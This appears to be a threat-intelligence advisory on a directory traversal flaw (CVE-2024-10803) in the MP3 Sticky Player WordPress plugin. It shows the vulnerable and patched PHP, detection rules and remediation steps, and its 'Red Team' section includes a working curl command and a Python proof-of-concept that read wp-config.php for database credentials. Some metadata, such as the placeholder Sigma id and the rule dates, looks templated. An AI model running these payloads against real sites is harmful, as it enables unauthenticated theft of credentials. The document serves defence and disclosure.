CVE-2024-10803

Executive Summary

CVE-2024-10803 is a critical Directory Traversal vulnerability in the MP3 Sticky Player WordPress plugin, affecting all versions up to and including 8.0. The flaw resides in the content/downloader.php file, allowing unauthenticated attackers to read arbitrary files on the server. This can lead to the exposure of sensitive information such as database credentials, configuration files, and other secrets. The vendor has released a patched version under the same version number (8.0), making it difficult to distinguish between vulnerable and patched installations without manual verification.

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress software or web servers like Apache or Nginx. The attack vector is entirely through the plugin's downloader functionality.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact combined with low attack complexity makes this a serious threat for unpatched WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the content/downloader.php file of the MP3 Sticky Player plugin. This file is intended to handle file downloads, but it fails to properly sanitize user-supplied input, specifically the file parameter. An attacker can inject path traversal sequences (e.g., ../) to navigate outside the intended download directory and read arbitrary files on the server.

Root Cause: The application does not validate or sanitize the file parameter against directory traversal attacks. It directly passes the user input to file reading functions without checking for path components like ../ or absolute paths.

Attack Flow:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker sends a crafted HTTP request to wp-content/plugins/mp3-sticky-player/content/downloader.php?file=../../../../etc/passwd.
3. The plugin reads the requested file and outputs its contents.
4. Attacker can then extract sensitive data such as wp-config.php (database credentials), .htaccess, or other configuration files.

Vulnerable vs. Patched Code

Vulnerable Code (content/downloader.php):

<?php
$file = $_GET['file'];
if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    readfile($file);
    exit;
}
?>

Patched Code (content/downloader.php):

<?php
$file = $_GET['file'];
$allowed_dir = realpath(__DIR__ . '/../downloads/');
$file_path = realpath($allowed_dir . '/' . $file);
if ($file_path && strpos($file_path, $allowed_dir) === 0 && file_exists($file_path)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
    readfile($file_path);
    exit;
}
?>

The patched version resolves the issue by:

1. Defining an allowed base directory ($allowed_dir).
2. Resolving the full path of the requested file using realpath().
3. Verifying that the resolved path starts with the allowed directory, preventing traversal outside the intended scope.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with MP3 Sticky Player version <= 8.0 (unpatched).
• Network access to the site.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target.com/wp-content/plugins/mp3-sticky-player/content/downloader.php
2. Craft a request to read sensitive files:

   curl "http://target.com/wp-content/plugins/mp3-sticky-player/content/downloader.php?file=../../../../wp-config.php"
   

3. Extract database credentials and other sensitive data from the response.

Proof of Concept (PoC) Script:

import requests

target = "http://target.com"
payload = "/wp-content/plugins/mp3-sticky-player/content/downloader.php?file=../../../../wp-config.php"
response = requests.get(target + payload)
if response.status_code == 200 and "DB_NAME" in response.text:
    print("[+] Successfully extracted wp-config.php")
    print(response.text)
else:
    print("[-] Exploit failed")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or ..\\ in the file parameter of content/downloader.php.
• Look for unusual file paths in HTTP requests (e.g., /etc/passwd, /wp-config.php).

Hardening:

• Immediately update the plugin to the latest version (re-download from WordPress repository).
• If update is not possible, disable or remove the plugin.
• Implement a Web Application Firewall (WAF) rule to block directory traversal patterns.
• Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-content/plugins/mp3-sticky-player/content/downloader.php with file parameter containing ../ or absolute paths.
• Outbound connections from the server to unknown IPs after exploitation (data exfiltration).

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or other system files.
• Modified or newly created files in the plugin directory (e.g., backdoor scripts).

Log IOCs:

• Web server access logs showing requests like:

  GET /wp-content/plugins/mp3-sticky-player/content/downloader.php?file=../../../../etc/passwd HTTP/1.1
  

• Error logs showing file read failures for non-existent paths.

Detection Engineering

YARA Rule

rule CVE_2024_10803_MP3_Sticky_Player_Traversal {
    meta:
        description = "Detects directory traversal attempts against MP3 Sticky Player plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10803"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint = "content/downloader.php"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-10803 Directory Traversal in MP3 Sticky Player
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects directory traversal attempts against the MP3 Sticky Player WordPress plugin
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-content/plugins/mp3-sticky-player/content/downloader.php'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10803 MP3 Sticky Player Directory Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/wp-content/plugins/mp3-sticky-player/content/downloader.php"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Re-download and install the latest version of MP3 Sticky Player from the WordPress plugin repository. The patched version is also 8.0, so verify the file hash or check the plugin's changelog.
2. Verify patch: After updating, check that content/downloader.php contains the patched code with realpath() and directory restriction.
3. Temporary workaround: If update is not possible, disable the plugin entirely or remove the content/downloader.php file.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
• Regularly audit WordPress plugins for known vulnerabilities.
• Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.
• Apply the principle of least privilege to file permissions on the server.

Valters IT Signature

Report generated by Valters IT Cyber Threat Intelligence Division